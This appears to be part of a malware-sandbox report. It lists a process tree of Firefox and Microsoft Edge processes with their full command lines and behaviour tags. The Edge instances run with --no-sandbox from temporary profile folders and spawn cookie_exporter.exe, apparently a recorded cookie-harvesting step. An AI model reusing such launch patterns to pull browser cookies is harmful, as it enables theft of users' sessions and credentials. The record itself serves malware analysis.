        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1668 -prefsLen 34822 -prefMapHandle 3580 -prefMapSize 270279 -jsInitHandle 4588 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3364 -initialChannelId {07072bfa-13f2-4543-99ab-4e5130cee919} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        8⤵
        Checks processor information in registry
        
        PID:3440
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3180 -prefsLen 35010 -prefMapHandle 4864 -prefMapSize 270279 -ipcHandle 3628 -initialChannelId {286a4297-367b-43dd-85a8-dfd7c39508a9} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        8⤵
        Checks processor information in registry
        
        PID:132
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5052 -prefsLen 32900 -prefMapHandle 5056 -prefMapSize 270279 -jsInitHandle 5060 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5068 -initialChannelId {57f86405-069f-4d65-9268-faecb36945bc} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        8⤵
        Checks processor information in registry
        
        PID:1296
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5240 -prefsLen 32952 -prefMapHandle 5236 -prefMapSize 270279 -jsInitHandle 5232 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5224 -initialChannelId {3048c019-3afb-4029-923e-402a10a61e4a} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        8⤵
        Checks processor information in registry
        
        PID:4292
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5524 -prefsLen 32952 -prefMapHandle 5528 -prefMapSize 270279 -jsInitHandle 5532 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5540 -initialChannelId {ce1be001-6f21-4263-9684-d1ab5c60d47d} -parentPid 664 -crashReporter "\\.\pipe\gecko-crash-server-pipe.664" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        8⤵
        Checks processor information in registry
        
        PID:3488
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        
        PID:5296
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x248,0x7ffd56f3c188,0x7ffd56f3c194,0x7ffd56f3c1a0
        7⤵
        
        PID:5608
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1524,i,6574455667798476788,13433812823538361971,262144 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=1936 /prefetch:2
        7⤵
        
        PID:2692
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2012,i,2346098718195334150,4711618680901893459,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:11
        7⤵
        System Time Discovery
        
        PID:2220
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2344,i,10258540712373322181,2775462449227783802,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=2060 /prefetch:13
        7⤵
        
        PID:5816
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3068,i,6907879208073872412,5698943392551350501,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:1
        7⤵
        
        PID:1816
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3076,i,18430837722672939750,12058580602192662719,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:1
        7⤵
        
        PID:1580
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3276,i,5446275855067339295,3028120180819838280,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3380 /prefetch:14
        7⤵
        
        PID:1704
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3280,i,18169454596408197457,17873730816044925519,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:14
        7⤵
        
        PID:544
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3284,i,18411288030343575821,4422283489987173899,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:14
        7⤵
        
        PID:2564
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3300,i,2451206665808093,5080774017686337755,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:1
        7⤵
        
        PID:472
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3404,i,3917055881690979983,17363589157675936576,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:9
        7⤵
        
        PID:1544
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3440,i,11083169980579042222,701655079021166950,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:1
        7⤵
        
        PID:2488
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3504,i,9258377932585469901,18079136268294057242,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:9
        7⤵
        
        PID:2076
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3512,i,16923859443518651113,10318389422767134494,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3532 /prefetch:1
        7⤵
        
        PID:1812
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3528,i,246133216195692973,9531594712976785500,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:9
        7⤵
        
        PID:5632
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3536,i,16066129104456090668,9963011025184708128,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:1
        7⤵
        
        PID:5148
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3636,i,13829270219479733525,11166534188149938069,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:9
        7⤵
        
        PID:4124
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3656,i,12943086788837431766,1493563630749840347,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
        7⤵
        
        PID:3080
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3700,i,11680193540057841679,4121452456322611868,2097152 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:9
        7⤵
        
        PID:2724
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4356,i,13806811645841144721,5281955519262594284,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:14
        7⤵
        
        PID:4840
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1140
        8⤵
        
        PID:1936
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,14382764848746083502,10690151193838888613,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:14
        7⤵
        
        PID:3440
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=596
        8⤵
        
        PID:708
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3640,i,17883708335438664931,1434767093907982669,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
        7⤵
        
        PID:1956
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,18261345888424518073,10094601126270899874,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:14
        7⤵
        
        PID:4072
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3132,i,13303774920372013713,3359361829719312471,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:14
        7⤵
        
        PID:1656
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n4bbabdz.lts" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3068,i,1201198058050610285,2716628579730606822,524288 --field-trial-handle=1940,i,18026245163011687199,3107658109095233931,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:14
        7⤵
        
        PID:5208
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        
        PID:1864
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x248,0x7ffd56f3c188,0x7ffd56f3c194,0x7ffd56f3c1a0
        7⤵
        
        PID:1736
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1612,i,18164862299148857870,1294740829239648308,262144 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:2
        7⤵
        
        PID:2032
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1676,i,7482241384590814832,3236199407426161762,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:11
        7⤵
        System Time Discovery
        
        PID:5684
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2356,i,5143902407861781801,7231966244579037562,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=2768 /prefetch:13
        7⤵
        
        PID:3876
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3156,i,4768079013710758108,3413727362530915812,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:1
        7⤵
        
        PID:5784
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3160,i,5967209355785507956,8253388610588818237,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:1
        7⤵
        
        PID:3360
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3512,i,6901650704545499522,13687304143472462820,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:14
        7⤵
        
        PID:1524
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3524,i,11234311058356565209,2454680452801032637,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:14
        7⤵
        
        PID:4580
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3532,i,11002206685859551140,9843197476725995828,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:14
        7⤵
        
        PID:3684
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3548,i,7405264424598014803,13372336399434647751,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4384 /prefetch:1
        7⤵
        
        PID:4108
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3572,i,1412977422715742116,7235817499166606406,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:9
        7⤵
        
        PID:4432
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
